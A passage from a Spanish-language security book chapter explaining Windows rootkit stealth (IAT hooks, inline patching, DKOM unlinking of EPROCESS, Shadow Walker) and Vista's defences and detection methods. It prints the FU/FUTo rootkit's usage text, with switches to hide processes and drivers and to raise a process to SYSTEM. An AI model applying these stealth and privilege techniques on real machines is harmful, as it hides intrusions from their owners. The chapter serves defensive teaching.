(BitLocker Drive Encryption o BDE) anticipó exactamente esos tipos de amenazas. Como resultado, si
configura BDE en una máquina equipada con un módulo TPM 1.2, el BIOS y el sistema operativo
pueden trabajar en conjunto para detectar intentos de modificación con el proceso de arranque, y el
resultado sería que el módulo TPM 1.2 no daría acceso al sistema operativo a la clave maestra de
volumen (VMK, Volume Master Key) usada para descifrar la clave de cifrado de todo el volumen, que
se usa para cifrar el volumen, cuando detecta un intento de interferir con el arranque del sistema
operativo. Consulte “Referencias y lecturas adicionales” para conocer información más detallada acerca
de la manera en que las máquinas equipadas con módulos TPM 1.2, Vista y BDE mitigan ese ataque.
08_SCAMBRAY_08.indd 234 7/28/08 9:08:46 PM

A finales de 2006 y principios de 2007, se reportó una serie de ataques dirigidos (a veces de-
nominados suplantación de identidad dirigida) que incluían documentos malformados de Mi-
crosoft Office. Cuando se abrían, esos documentos daban como resultado que el código elegido
por el atacante se ejecutara en el contexto del usuario que había iniciado la sesión. Si la víctima
había iniciado sesión con derechos administrativos y abría estos documentos de Office mal for-
mados, por lo general instalaría sin saberlo una puerta trasera y un rootkit en el sistema en cuan-
to se abriera el documento. ¿Cuántos usuarios, ya no digamos administradores de tecnología de
la información, sospecharían que abrir una simple hoja de cálculo de Excel, una presentación
de PowerPoint o un documento de Word recibido por correo electrónico llevaría a que todo el
equipo se viera comprometido con software sigiloso sofisticado?
Al momento de escribir esto, Microsoft había lanzado 15 boletines entre marzo de 2006 y
marzo de 2007 que afectaban a productos de Office 2003, muchos de ellos clasificados con una
gravedad importante, y algunos de ellos tenían avisos correspondientes que indicaban que Mi-
crosoft sólo estaba al tanto de que se estaban usando ataques dirigidos limitados que explotaban
algunas vulnerabilidades previamente desconocidas.
sugerencia
Esos ataques resaltan la importancia de otorgar la menor cantidad de privilegios. Gran parte del
malware que participa en estos ataques requiere derechos administrativos. La ejecución como un
usuario estándar habría prevenido muchas de las técnicas usadas por el malware para lograr
persistencia y pasar inadvertido, lo que habría facilitado mucho su detección y limpieza para el
usuario afectado o las primeras personas que responden.
CÓMO PASAR INADVERTIDO: TÉCNICAS MODERNAS

En esta sección, tratamos de enumerar y describir algunas de las técnicas más utilizadas que
suelen usar los rootkits para pasar inadvertidos en Windows. Ese análisis no documenta de
manera completa la gran cantidad, casi ilimitada de métodos que pueden usarse para lograrlo,
porque ese análisis probablemente requeriría todo un libro o una serie de libros en constante
actualización.
Antes de analizar la manera en que los rootkits logran pasar inadvertidos, necesitamos cu-
brir una “Introducción al funcionamiento interno del sistema operativo Windows”. La infor-
mación que se presenta a continuación es una revisión general de alto nivel sobre la manera en
que una aplicación que se ejecuta en el modo de usuario interactúa con el kernel, y tiene la in-
tención de servir como base para construir un análisis de las técnicas usadas por varios root-
kits para pasar inadvertidos. Para tener una comprensión más amplia de la manera en que
funciona Windows “bajo el metal”, consulte Microsoft Windows Internals, 4a edición, de Russi-
novich y Solomon.
Funcionamiento interno de Windows

Si fuera a desandar sus pasos y pensara en el contenido del espacio de direcciones del sistema
operativo en la memoria virtual y en la física, probablemente podría clasificar todos los bits de
la memoria en dos categorías: datos o código. Por datos se alude a los bytes en la memoria que tie-
nen la intención de ser ejecutados. Alude a partes de la memoria que contienen todo, desde las
estructuras de datos clave del kernel hasta los bits de memoria que respaldan el contenido de ese
documento de Word que se está escribiendo.
08_SCAMBRAY_08.indd 235 7/28/08 9:08:46 PM

Los datos suelen incluirse en regiones especiales de la memoria a las que suele denominarse
montón, pila o depósito. Los bits de código contienen el código de máquina ejecutable que su CPU
en realidad está procesando para realizar el trabajo.
Todos los rootkits modernos de Windows pasan inadvertidos al modificar los bits en memo-
ria para alterar la manera en que el sistema operativo se comporta o en que se presentan los da-
tos al usuario. Debido a que estos bits caen en una de dos categorías mencionadas, puede
considerarse que los rootkits operan en los bits de datos o en los de código (o posiblemente una
combinación de ambos). Al acto de modificar los bits de códigos o de datos suele denominársele
parchado de memoria.
Windows usa modos de acceso de procesador para implementar una separación entre el kernel
del sistema operativo y las aplicaciones que se ejecutan arriba de éste. A estos dos modos de ope-
ración se les denomina modo de usuario y modo de kernel. A menudo oirá que las personas los de-
nominan anillo 0, que es el privilegio de nivel cero en CPU x86. Ese es el nivel de privilegio de la
CPU utilizado por Windows cuando se está ejecutando en el modo de kernel. Anillo 3 alude al
nivel 3 de privilegios en CPU x86 y, como ha adivinado, es donde se ejecutan las aplicaciones en
modo de usuario como el Bloc de notas, Internet Explorer y su shell. Cuando la CPU está ope-
rando en el nivel de privilegio 0 (modo de kernel), tiene acceso a todos los registradores de pro-
cesos y toda la memoria del sistema. Cuando la CPU está operando en el nivel de privilegio 3
(modo de usuario) permite el acceso a la memoria que se puede emplear desde el modo de usua-
rio. Debido a que el código que está ejecutando “en el kernel” tiene acceso a todos los regis-
tradores de la CPU y toda la memoria del sistema, eso lo hace un objetivo atractivo para los
autores de rootkits, y muchos consideran que los rootkits que operan en el modo de kernel son
los tipos de amenazas más poderosos e insidiosos.
Ahora suponga que quiera presentar una lista de todos los procesos que se ejecutan en Win-
dows. Tal vez usaría el Administrador de tareas para completar esto. El Administrador de tareas
se ejecuta en modo de usuario pero la lista de procesos de ejecución es información rastreada por
el código que se ejecuta en el kernel y que está almacenado en las estructuras de datos de éste.
De modo que para obtener la lista de procesos en ejecución, el Administrador de tareas llama a
una función exportada por NTDLL.DLL llamada NTQuerySystemInformation. Esta función
realiza una transición en el modo de kernel al llamar después de mover el número del servicio
del modo de kernel para llamar a un registrador de CPU. La pequeña función utiliza entonces la
instrucción syscall/sysenter de la CPU (o una INT 2E en procesadores más antiguos que
no aceptan esa instrucción) para realizar la transición en el modo de kernel. En el kernel, una
rutina de despachador del servicio del sistema recibe la llamada y busca la dirección del servicio
de sistema solicitado para llamar desde una estructura de kernel llamada tabla de descriptores de
servicios del sistema (SSDT, System Service Descriptor Table), que contiene descriptores que se
traducen en las direcciones del espacio de memoria del kernel donde pueden encontrarse esas
funciones de modo kernel. Luego se llama a la función apropiada en modo de kernel (en ocasio-
nes la API nativa de Windows), después de ser buscada y decodificada en la SSDT. Ese proce-
so se ilustra en la figura 8-1, que muestra la manera en que una aplicación en modo de usuario
suele acceder a los archivos. En la figura, cada flecha o cuadro representa un lugar para que un
rootkit modifique el flujo de la ejecución y, por tanto, subvierta la ejecución normal de sistema
operativo.
08_SCAMBRAY_08.indd 236 7/28/08 9:08:47 PM

Aplicación
CreateFile()
KERNEL32.DLL
CreateFileW()
NTDLL.DLL
ZwCreateFile()
Modo de usuario
(anillo 3)
Modo Tabla de
de kernel despacho de Tabla de descriptores
(anillo 0) interrupciones de servicio
NtCreateFile
KiSystemService
2E (tal vez vía KiFastCallEntry) (25h)NtCreateFile loCreateFile
lopCreateFile
Figura 8-1 Acceso de archivos, del modo de usuario al modo de kernel
Ahora, antes de que pueda llamarse a una función como CreateFileW() en KERNEL32.
DLL, como se muestra en la figura 8-1, primero debe importarla una aplicación, lo que significa
que la DLL que contiene la función a la que habrá de llamarse primero debe cargarse en el espa-
cio de direcciones de la aplicación en la memoria virtual y mostrarse en una tabla denominada
tabla de direcciones de importación. Esto representa otra oportunidad para que un rootkit subvierta
el flujo normal de ejecución dentro de un proceso no descrito en la figura 8-1.
En la figura 8-2 vemos el flujo normal de ejecución que ocurre cuando el código de un pro-
ceso trata de llamar a una función importada.
08_SCAMBRAY_08.indd 237 7/28/08 9:08:50 PM

PROCESO.EXE
IMPORTADO.DLL
FunciónBibliotecaImportada1()
Tabla de direcciones de importación
IMPORTADO.DLL!FunciónBibliotecaImportada1
ROOTKIT.DLL
FunciónEnganchada1()
IMPORTADO.DLL!FunciónBibliotecaImportada1()
Figura 8-2 Búsqueda normal en la tabla de direcciones de importación (sin gancho)
En la figura 8-3 se describe la manera en que el código de rootkit inyectado en un proceso

puede interferir con el proceso de resolver funciones importadas para desviar el flujo de la eje-
cución.
A otro método común utilizado para modificar el flujo de la ejecución de código en el
modo de usuario a menudo se le denomina parchado en línea (de función) o “inserción de un
trampolín”. En esta técnica, el rootkit en realidad parcha, o modifica, los primeros bytes de la
función que habrá de desviarse. Esto suele hacerse para que el rootkit pueda filtrar los datos
que está devolviendo la función para, por ejemplo, eliminar un archivo de una lista de ar-
chivos contenido en un directorio, para ocultarlo del intento de la aplicación por presentar
una lista de archivos.
08_SCAMBRAY_08.indd 238 7/28/08 9:08:51 PM

PROCESO.EXE
IMPORTADO.DLL
FunciónBibliotecaImportada1()
Tabla de direcciones de importación
ROOTKIT.DLL
FunciónEnganchada1()
IMPORTADO.DLL!FunciónBibliotecaImportada1()
Figura 8-3 Búsqueda en la tabla de direcciones de importación con gancho
En la figura 8-4 se muestra el flujo normal de ejecución mientras una aplicación trata de usar
la API FindFirstFile()/FindNextFile() exportada por KERNEL32.DLL para presentar
una lista del contenido de una carpeta en el disco duro. Estas API terminan llamando a la fun-
ción importada NTQueryDirectoryFile() (de NTDLL.DLL), que luego se encarga de la
transición al modo de kernel.
Ahora, debido a que la API NTQueryDirectoryFile() devuelve información acerca de
un archivo en una carpeta, ésta sería una buena API para engancharse si quisiera asegurar que
los archivos permanecen ocultos de la API en modo de usuario que la llama.
08_SCAMBRAY_08.indd 239 7/28/08 9:08:53 PM

PROCESO.EXE (MODO DE USUARIO)
Figura 8-4 Presentación de una lista de archivos en una carpeta
En la figura 8-5 se muestra la manera en que Hacker Defender 1.0, un rootkit común en
modo de usuario, oculta archivos al engancharse a la API NTQueryDirectoryFile().
El parchado de la función en línea y los ganchos con la tabla de direcciones de importa-
ción (IAT, Import Address Table) son los métodos más comunes usados por los rootkits en modo
de usuario para pasar inadvertido. Ahora echemos un vistazo a algunas de las técnicas que se
están usando para subvertir el kernel.
DKOM
Para ayudarle a comprender la manera en que funcionan los rootkits que usan esta técnica, se
necesita un poco de antecedentes sobre la manera en que funciona Windows. Los procesos en
modo de usuario de Windows están respaldados por objetos en modo de kernel conocidos como
bloques de procesos ejecutivos (EPROCESS). Un bloque EPROCESS es una estructura en la me-
moria que contiene información acerca de un proceso en modo de usuario. Por ejemplo, un blo-
que EPROCESS para un proceso que contiene información acerca del tiempo de creación de ese
proceso, la ficha que el proceso está usando y otras varias cosas.
08_SCAMBRAY_08.indd 240 7/28/08 9:08:55 PM

PROCESO.EXE (MODO DE USUARIO)
Figura 8-5 Ocultamiento de archivos en una carpeta con un parche de función en línea
Las estructuras de EPROCESS para todos los procesos en ejecución están organizadas en una
lista con doble vínculo: cada estructura de EPROCESS apunta a otra estructura (LIST_ENTRY),
que contiene punteros a la siguiente estructura de EPROCESS (FLINK) y a la estructura previa
(BLINK). Una vez que el código del rootkit ha localizado estos punteros en una estructura LIST_
ENTRY dada, es un ejercicio muy trivial seguir estos punteros en un bucle hasta que haya iden-
tificado una estructura de EPROCESS que regresa un proceso que desea ocultar o modificar y
reorganizar los punteros a vínculos hacia delante o hacia atrás para desvincular el bloque EPRO-
CESS del proceso de destino. En la figura 8-6 se describe la desvinculación de la estructura de
EPROCESS resaltada en el círculo, al cambiar el bloque EPROCESS al que apuntan sus punteros
hacia atrás (BLINK) y hacia adelante (FLINK).
08_SCAMBRAY_08.indd 241 7/28/08 9:08:58 PM

Figura 8-6 Estructura del bloque EPROCESS
Podría suponer que después de dejar “huérfano” un bloque de EPROCESS que respalda un
proceso en modo de usuario, mediante la manipulación de los punteros FLINK y BLINK conte-
nidos en la estructura LIST_ENTRY, el proceso en modo de usuario ya no se ejecutaría, pero, en
realidad, ¡lo hace! Esto es porque Windows programa los subprocesos de un proceso para ejecu-
ción en una CPU, y resulta que los subprocesos siguen programados aunque el bloque EPRO-
CESS del proceso ya no exista en la lista de doble vínculo de procesos en ejecución.
El rootkit FU también puede ocultar controladores al aplicar una técnica similar a la lista vinculada
Nota
de controladores en el kernel, que también puede navegarse y manipularse al seguir los punteros
FLINK y BLINK en las estructuras de LIST_ENTRY. Después de corregir los punteros, puede
cargarse el controlador e incluso puede eliminarse el archivo del disco, dejando muy poca evidencia
forense.
08_SCAMBRAY_08.indd 242 7/28/08 9:09:00 PM

En 2006, una versión revisada de FU, llamada FUTo, fue anunciada por los autores en una
revista en línea en Uninformed.org. Esta versión de FU podía ocultar procesos de una manera
que les permitía permanecer sin que se les detectara por herramientas de detección de rootkits
populares (en la época) como Blacklight e IceSword. Puede leer más acerca de FUTo en www.
uninformed.org/?v=3&a=7&t=sumry. Aquí se muestra la ayuda de FUTo:
C:\FUTo\EXE>fu /?
Usage: fu
[-ph] #PID to hide the process with #PID
[-phng] #PID to hide the process with #PID. The process must
not have a GUI
[-phd] DRIVER_NAME to hide the named driver
[-pas] #PID to set the AUTH_ID to SYSTEM on process #PID
[-prl] to list the available privileges
[-prs] #PID #privilege_name to set privileges on process #PID
[-pss] #PID #account_name to add #account_name SID to process
#PID token
En la figura 8-7 se muestra una lista de bloques EPROCESS, incluido uno para NOTEPAD.
EXE, como se vería en un depurador de kernel.
Figura 8-6 Estructura del bloque EPROCESS
08_SCAMBRAY_08.indd 243 7/28/08 9:09:02 PM

Figura 8-8 FUTo ha desvinculado con éxito el bloque EPROCESS de NOTEPAD.EXE
Después de ejecutar FUTo y de usar el interruptor –ph para ocultar el PID asociado con NO-
TEPAD.EXE, vemos que ya no está enumerado por el depurador cuando se usa el comando
!process 0 0 para volcar todos los bloques EPROCESS (figura 8-8).
Para aprender más acerca de las estructuras mencionadas aquí, consulte el capítulo 6 de Microsoft
Nota Windows Internals, 4a edición. Para aprender más acerca de la manera en que el rootkit FU modifica
estas estructuras, consulte el capítulo 7 de Rootkits: Subverting the Windows Kernel.
En la figura 8-9 se muestra NOTEPAD.EXE aún visible en segundo plano, ¡mientras el Ad-
ministrador de tareas no lo despliega en la lista de procesos!
08_SCAMBRAY_08.indd 244 7/28/08 9:09:03 PM

Figura 8-9 El Bloc de notas es visible en segundo plano, pero es invisible en el Administrador de
tareas
Shadow Walker
El método empleado por este rootkit para mentir acerca del contenido de la memoria virtual de-
pende de que se tenga la capacidad de desacoplar los datos y los búferes de búsqueda de traduc-
ción (TLB, Translation Lookaside Buffers) de la instrucción que son comunes en los procesadores
modernos, junto con la instalación de un nuevo manejador de fallas de página personalizado.
Un TLB es una caché de procesador diseñada para acelerar la traducción de direcciones virtuales
a físicas. Cuando se accede a una dirección de memoria en un programa de Windows, en reali-
dad se está accediendo a una dirección de memoria virtual en una página de memoria virtual.
Esta dirección debe traducirse luego en un marco de memoria física mediante un proceso más
bien complejo conocido como traducción de direcciones. TLB es una caché de alta velocidad de es-
tas asignaciones de direcciones virtuales a físicas.
08_SCAMBRAY_08.indd 245 7/28/08 9:09:03 PM

Dos TLB están en realidad relacionadas: una para páginas de memoria que contienen ins-
trucciones (ITLB) y otra para páginas de memoria que contienen datos (DTLB). Cuando se hace
referencia a memoria que no puede resolverse mediante TLB, ocurre una falla de página, que
causa que el administrador de memoria virtual lleve la página del archivo de paginación a la
memoria física.
Cuando Shadow Walker está instalado, de inmediato instala un nuevo manejador de fallas
de páginas y luego vacía TLB, lo que obliga a que todos los intentos por localizar una página de
memoria virtual pasen por este manejador recién instalado. En ese punto, el código de Shadow
Walker puede interceptar todos los intentos por acceder a todas las páginas de memoria
(mediante el nuevo manejador de fallas de páginas) y luego puede determinar si el intento por
acceder a la memoria se está haciendo para ejecutar la página de memoria (a fin de ejecutar el
código del rootkit, por ejemplo) o simplemente para leer la página de memoria (a fin de rastrear
la página de memoria que busca el código del rootkit). Si se está haciendo un intento por leer una
página de memoria que el atacante desea ocultar (es decir, una página a la que se ha enganchado
o una que contiene código de rootkit), Shadow Walker podría “corregir” la DTLB para que re-
grese la copia “original” sin gancho de la página de memoria (o una página basura de memoria,
si se hace un intento por leer páginas de memoria que contienen el rootkit real). Si se está hacien-
do un intento por ejecutar código en una página de memoria a la que se ha enganchado o que
pertenece al rootkit, Shadow Walker llena la ITLB con el marco apropiado de memoria que per-
tenece al rootkit, y luego se ejecuta el código. En esencia, Shadow Walker usa las TLB divididas,
lo que significa que un determinado marco de memoria devuelve diferentes direcciones de me-
moria virtual si se hace un intento por leer esa página o por ejecutarla.
sugerencia Debido a los métodos usados por esta forma de sigilo, no es posible ocultarse o mentir acerca de las
páginas de memoria que respaldan el nuevo manejador de falla se páginas recién instalado. Por
tanto, la inspección del manejador de fallas de páginas del sistema operativo debe bastar para
detectar este rootkit.
Para conocer más información acerca de Shadow Walker, consulte Phrack 63: www.phrack.org/
Nota
archives/63/p63-0x08_Raising_The_Bar_For_Windows_Rootkit_Detection.txt.
SOFTWARE ANTIVIRUS EN OPOSICIÓN A ROOTKITS

Históricamente, el software antivirus no ha tenido un buen registro cuando se trata de detectar
y, lo que es más importante, eliminar el software moderno para pasar inadvertido. Después de
todo, un software antivirus no es más que otra aplicación instalada sobre el sistema operativo
(un sistema operativo que el rootkit puede controlar). Como resultado, los diversos comerciali-
zadores de antivirus tienden a caer en una de tres categorías cuando se trata de detectar un de-
terminado software para pasar inadvertido:
• No pueden detectar ni eliminar el software para pasar inadvertido una vez que éste se
está ejecutando. Un buen ejemplo es el rootkit Rustock que muchos comercializadores
de antivirus no podían detectar ni limpiar a principios de 2007, muchos meses después
de su descubrimiento.
08_SCAMBRAY_08.indd 246 7/28/08 9:09:04 PM

• Pueden detectarlo pero no pueden eliminarlo, una vez que se está ejecutando.
• Pueden eliminar y detectar el software para pasar inadvertido, una vez que se está
ejecutando. Un buen ejemplo de esto es el famoso rootkit First4Internet de Sony BMG,
que ahora pueden detectar y eliminar los comercializadores de antivirus y la Microsoft
Malicious Software Removal Tool, además de muchas versiones del rootkit Hacker
Defender.
En ocasiones, si el usuario puede deshabilitar el rootkit (al detener un controlador oculto o

cambiar el nombre de éste si no está oculto), el software antivirus pude identificar los diferentes
componentes que participan en la intrusión y limpiar/eliminarlos.
sugerencia
Debido a que algunos rootkits sólo pueden ocultar archivos mientras están activos, un método para
detectar rootkits utilizando rastreadores de antivirus basados en firma o en heurística consiste en
montar el controlador sospechoso desde un sistema operativo limpio bien conocido y usar software
antivirus en esta imagen bien conocida para rastrear el volumen sospechoso mientras está fuera
de línea (es decir, sin que se haya iniciado en el sistema operativo instalado en el volumen). Otro
método menos confiable pero tal vez aún efectivo sería rastrear una máquina que se sospecha que
está comprometida a través de la red, al mapear sus unidades y rastrearlas desde un sistema
operativo bien conocido. Un rootkit en modo de kernel podría fácilmente filtrar la lista de archivos y
carpetas que se están enviando al sistema operativo remoto, pero rootkits de modo de usuario como
Hacker Defender y otros no podrán ocultarse de rastreos remotos de archivos.
WINDOWS VISTA EN OPOSICIÓN A LOS ROOTKITS

Windows Vista ofrece muchas mejoras de seguridad que tienen impacto en la capacidad de los
rootkits modernos para operar de manera efectiva, aunque un usuario trate de ejecutarlos. Al-
gunas de las características de seguridad se aplican a las versiones de 32 y 64 bits de Vista, mien-
tras que otras sólo se aplican a las de 64 bits.
Protección de parche de kernel (KPP): Patchguard

En 2006, mientras Microsoft se preparaba para lanzar Vista, varios comercializadores de antivi-
rus plantearon objeciones a la inclusión planeada de una tecnología clave presente en versiones
de 64 bits, denominada protección de parche de kernel (KPP, Kernel Patch Protection). KPP es un
código guardián que se introdujo por primera vez en versiones de 64 bits de Windows Server
2003 SP1 y de Windows XP más de un año antes, con pocas fanfarrias. El código de KPP exami-
na las estructuras de datos de kernel clave y las API en busca de señales de alteraciones y toma
las acciones si las detecta. (Scott Field, un arquitecto de software de seguridad de kernel de Mi-
crosoft describe los motivos comunes para parchar el kernel y los resultados que pueden obte-
nerse debido a esto en un blog publicado en http://blogs.msdn.com/windowsvistasecurity/ar-
chiv/2006/08/11/695993.aspx.)
En resumen, KPP fue desarrollado para evitar que el software (tanto legítimo como malicio-
so) alterara el kernel y tratar de mejorar la seguridad, estabilidad y confiabilidad generales del
sistema al estimular a los comercializadores de aplicaciones a usar API soportadas y documen-
tadas y evitar el malware mediante el uso de estas técnicas.
08_SCAMBRAY_08.indd 247 7/28/08 9:09:05 PM

Cuando se detecta una modificación, KPP inicia una revisión de errores para llevar al sistema
operativo a alertar al usuario y evitar que el software realice más acciones. KPP está presente sólo
en las versiones x64 de Windows debido al “nuevo inicio” permitido por esta nueva arquitectura
y la falta de software heredado que se vería afectado por esta nueva característica. Aún así, la in-
clusión de esta tecnología en Vista fue considerada por varios comercializadores de antivirus
como un movimiento controversial, porque creían que sus suites de software existentes queda-
rían hechas pedazos por esta directiva. Estos comercializadores creían que esta técnica sería tri-
vial para desalentar a los atacantes motivados, mientras que evitaría que una gran cantidad de
software AV/IDS e IPS funcionara en esta plataforma. Un comercializador, Athentium, incluso
fue más allá al escribir código de prueba de concepto que demostraba una técnica que pasaba por
alto Patchguard (técnica posteriormente bloqueada en la versión final de Windows Vista).
Desde el lanzamiento de Windows Vista, Microsoft se ha comprometido a trabajar con los
comercializadores de antivirus y productos de seguridad para atender sus preocupaciones y
ayudarlos a trabajar dentro del marco conceptual de KPP. Microsoft también se ha comprome-
tido a responder a intentos de pasar por alto o subvertir KPP y lanzará actualizaciones a través
de Windows Update para mejorar la resistencia de este código, conforme sea necesario.
Al momento de escribir esto, no conocemos ningún rootkit para Windows Vista de 64 bits
(con la excepción del rootkit basado en hipervisor Blue Pill), ni de ninguna manera de deshabi-
litar con éxito KPP, aunque se han conducido investigaciones interesantes en esta área.
Para conocer un análisis más detallado de KPP y análisis a profundidad de intentos previos de omitir
Nota sus protecciones, consulte los artículos de www.uninformed.org.
Control de cuentas de usuario: está a punto de ser atacado,

¿cancelar o permitir?
En Windows XP, el tipo de cuenta predeterminada que se creaba durante la instalación era Ad-
ministrador. Si quería iniciar sesión como un usuario regular a diario, tenía que hacerse a un
lado para crear una cuenta que no fuera de administrador. El resultado es que la gran mayoría
de usuarios ejecutan como Administradores casi todo el tiempo. Los rootkits y la mayor parte
del malware aprovechan por completo esta situación para modificar la configuración del Regis-
tro de autoinicio en todo el sistema (para lograr persistencia a través de todos los reinicios), in-
yectar código malicioso en los procesos de SYSTEM, colocar archivos en carpetas importantes y
realizar otras acciones maliciosas.
En Windows Vista, el tipo de cuenta predeterminada creado durante la instalación aún es Ad-
ministrador, pero es una cuenta de administrador protegida (por el Control de cuentas de usuario,
o UAC: User Account Control). Con el Control de cuentas de usuario habilitado (la opción prede-
terminada), cuando un Administrador inicia sesión, obtiene lo que sería una ficha de usuario es-
tándar. Esto significa que el software lanzado con este tipo de ficha además se ejecuta con derechos
de usuario estándar. Como usuario estándar, no puede inyectar código en otros procesos en un
nivel de privilegio o integridad superior. Tampoco puede modificar muchas configuraciones de
Registro en todo el sistema en HKEY_LOCAL_MACHINE (HKLM), y no puede escribir archivos en
carpetas como \Windows o \Program Files. Y tal vez lo que es más importante sea que no pue-
de cargar controladores de dispositivos arbitrarios en el kernel. Cuando está habilitado Control
08_SCAMBRAY_08.indd 248 7/28/08 9:09:05 PM

de cuentas de usuario, todas estas acciones requieren elevación, que incluye la adición a la fi-
cha del proceso de los privilegios en el nivel de Administrador eliminados y la ejecución en
un nivel de integridad más elevado (integridad Alta en comparación con Media).
Para conocer información adicional sobre Control de cuentas de usuario y los niveles de integridad
Nota
en Vista, consulte http://technet2.microsoft.com/WindowsVista/en/library/00d04415-2b2f-422c-
b70e-b18ff918c2811033.mspx?mfr=true.
A continuación se presenta la salida de un intento de ejecutar FUTo desde un indicador de

comandos (no elevado) de Windows Vista de 32 bits con Control de cuentas de usuario habilita-
do mientras se inicia sesión como Administrador local.
C:\FUTo\FUTo_enhanced\FUTo\EXE>fu /?
Unable to Load DriverEl sistema no puede encontrar el archivo especificado.
Failed to initialize driver
C:\FUTo\FUTo_enhanced\FUTo\EXE>
Para este EXE en particular, no se pide al usuario que se eleve; el cargador simplemente falla
y posteriormente inicia el controlador del dispositivo con el resultado neto de que se protege al
usuario. La ejecución de FU desde un indicador de comandos elevado en Vista de 32 bits da
como resultado una experiencia completamente diferente, como se muestra en la figura 8-10.
Figura 8-10 Vista Ultimate de 32 bits en comparación con FUTo
08_SCAMBRAY_08.indd 249 7/28/08 9:09:06 PM

Ahora, para ser justos, todo lo que esto indica es que después de la elevación, el controlador
de FUTo (msdirectx.sys) está cargado pero necesita actualizarse para que trabaje apropiadamen-
te en Windows Vista (lo que quizás incluye un poco más que la corrección de los desplazamien-
tos de algunas estructuras que FUTo necesita para parchar apropiadamente los objetos de kernel
que manipula).
En caso de que los autores o la comunidad en general de rootkits decidieran hacer esto y tra-
taran de crear una versión de FUTo o rootkits similares en modo de kernel para la plataforma de
64 bits, se enfrentarían a otro cambio en la seguridad que sólo se aplica a las versiones de 64 bits
de Vista: firma de código en modo de kernel (KMCS, Kernel-Mode Code Signing). Las ver-
siones de Vista de 64 bits imponen una nueva directiva que requiere que todos los módulos de
kernel estén firmados con un certificado especial de firma de código. Si un administrador trata
de cargar un controlador no firmado, aunque el intento se haga desde un proceso elevado, Vista
x64 evitará que el controlador se cargue.
Inicio seguro
Vista es el primer sistema operativo de Microsoft en ofrecer capacidad integrada de cifrado de
todo el volumen, y con esta capacidad se incluye una nueva característica de seguridad conocida
como inicio seguro. Durante el diseño de Vista, bootkits como Bootroot de eEye y el VBootkit eran
parte del modelo de amenaza. Con la introducción de los procesadores TPM 1.2 integrados en
muchas notebooks y tarjetas madre del sistema, ahora es posible mitigar estos tipos de ataques
y evitar que el sistema operativo empiece si se hace un intento por modificarlo durante el pro-
ceso de arranque. Cuando el BDE de Vista se ha habilitado en una máquina equipada con un
procesador TPM 1.2, el inicio seguro está habilitado e impuesto. El inicio seguro funciona al
medir un proceso de inicio bien conocido y almacenar estas medidas en el módulo TPM 1.2; es-
tas medidas son básicamente hashes SHA-1 del código que habrá de ejecutarse en el siguiente
paso del proceso de arranque. En arranques posteriores del sistema, estas medidas se toman
de nuevo y se comparan con las medidas bien conocidas, y si se encuentra que son diferentes, el
TPM no quitará el sello a las claves de cifrado necesarias para descifrar el volumen de arranque
del sistema operativo. En el escenario de VBootkit, donde el código de MBR se leerá de un CD
antes de leer el MBR confiable del disco duro, se medirá el código de MBR del CD (con hash de
SHA-1) y se almacenará en un registro de configuración de plataforma (PCR, Platform Configu-
ration Register) en el módulo TPM 1.2. El valor de hash almacenado en el PCR no será el valor
esperado, el módulo TPM 1.2 no quitará el sello a las claves necesarias para descifrar el sistema
operativo y se detendrá el proceso de arranque.
Para conocer más información acerca del inicio seguro en Windows Vista, consulte la revi-
sión técnica en http://download.microsoft.com/download/5/D/6/5D6EAF2B-7DDF-476B-
93DC-7CF0072878E6/secure-start_tech.doc.
sugerencia Un complemento de Windows Vista Ultimate Extra está disponible para descarga; se ocupa de
inicializar un módulo TPM 1.2 y reconfigurar Vista para usar BDE en modo de inicio seguro. El
volumen del sistema operativo puede incluso cifrarse en segundo plano mientras sigue trabajando
para minimizar el tiempo de inactividad.
08_SCAMBRAY_08.indd 250 7/28/08 9:09:07 PM

Otras mejoras de seguridad

Otra puerta interesante que se ha cerrado a los atacantes en todas las versiones de Vista es la eli-
minación del objeto de sección \Dispositivo\MemoriaFísica del modo de usuario. Como se
mencionó antes, sólo ejemplos limitados de malware y rootkits reales usan este objeto para ma-
nipular memoria del kernel desde el modo de usuario.
El acceso a este objeto estaba primero restringido al modo de kernel en Windows Server 2003 SP1
Nota
y la directiva permanece sin cambio en Vista.
En Vista ya no se permite tampoco el acceso directo al disco desde el modo de usuario, ni

siquiera para los administradores y los procesos elevados. Por acceso directo al disco aludimos
al uso de la API CreateFile() y la referencia a un disco empleando una notación especial
(\\?\PhysicalDriveN). Microsoft publicó un artículo en la base de datos de conocimientos
que describe esta técnica en http://support.microsoft.com/kb/q100027/, y puede encontrarse
más información acerca del tema en la documentación de MSDN para CreateFile.
Joanna Rutkowska utilizó esta técnica en 2006 como parte de su demostración de Blue Pill
para rodear los requisitos de firma de código en modo de kernel de Vista x64. En resumen, Joan-
na encontró que, con el uso del acceso directo al disco, podía modificar el archivo pagefile.sys y
sobrescribir código de controlador existente que se había paginado fuera del disco. Cuando el
código del controlador se volvía a paginar en la memoria principal, ella omitió con éxito los re-
quisitos de KMCS de la plataforma x64. En Windows Vista, el acceso directo al disco sólo se lo-
gra mediante un controlador de dispositivo.
Resumen de Vista en oposición a los rootkits

Con Windows Vista, Microsoft hizo cambios importantes en todos los niveles del sistema opera-
tivo para hacerlo más resistente a la modificación, intencional o no. Sin embargo, debido a pro-
blemas de compatibilidad de la aplicación, algunas de estas mejoras sólo pueden aplicarse a
versiones de 64 bits del sistema operativo.
Como resultado de estos cambios, en versiones de 64 bits de Vista, los autores de rootkits
cuentan con las siguientes opciones:
• Tratar de pasar inadvertidos en modo de kernel, lo que ahora requiere un controlador

de dispositivo (debido al retiro de \Dispositivo\MemoriaFísica). Esto implica la firma
de sus controladores de rootkit con certificados de firma de código que se encadenen
a una autoridad de certificación de raíz confiable; encontrar una manera de pasar por
alto el Control de cuentas de usuario o engañar a los usuarios para que eleven un
programa de instalador de controladores; o encontrar una manera de deshabilitar
u omitir KPP, que detectará intentos de parchar el kernel.
• Usar técnicas para pasar inadvertido en modo de usuario bien conocidas y evitar por
completo el kernel.
Una cosa es segura: será fascinante ver cómo se desarrollan las cosas en la versión de 64 bits
de Vista en los años siguientes y qué dirección tomarán los autores del malware.
08_SCAMBRAY_08.indd 251 7/28/08 9:09:08 PM

HERRAMIENTAS Y TÉCNICAS
DE DETECCIÓN DE ROOTKITS
Durante el auge de los rootkits se dio un ascenso correspondiente en las herramientas para
detectarlos. Hace unos años, sólo existían unas cuantas herramientas públicas de detección de
rootkits, pero hoy en día existen decenas de ellas, desde individuales con antecedentes y
motivos dudosos hasta otras de respetables comercializadores de software. En esta sección,
trataremos de enumerar el método usado por algunas de las herramientas más populares, pro-
porcionarle recursos que puede usar para investigar esas herramientas y develar sugerencias
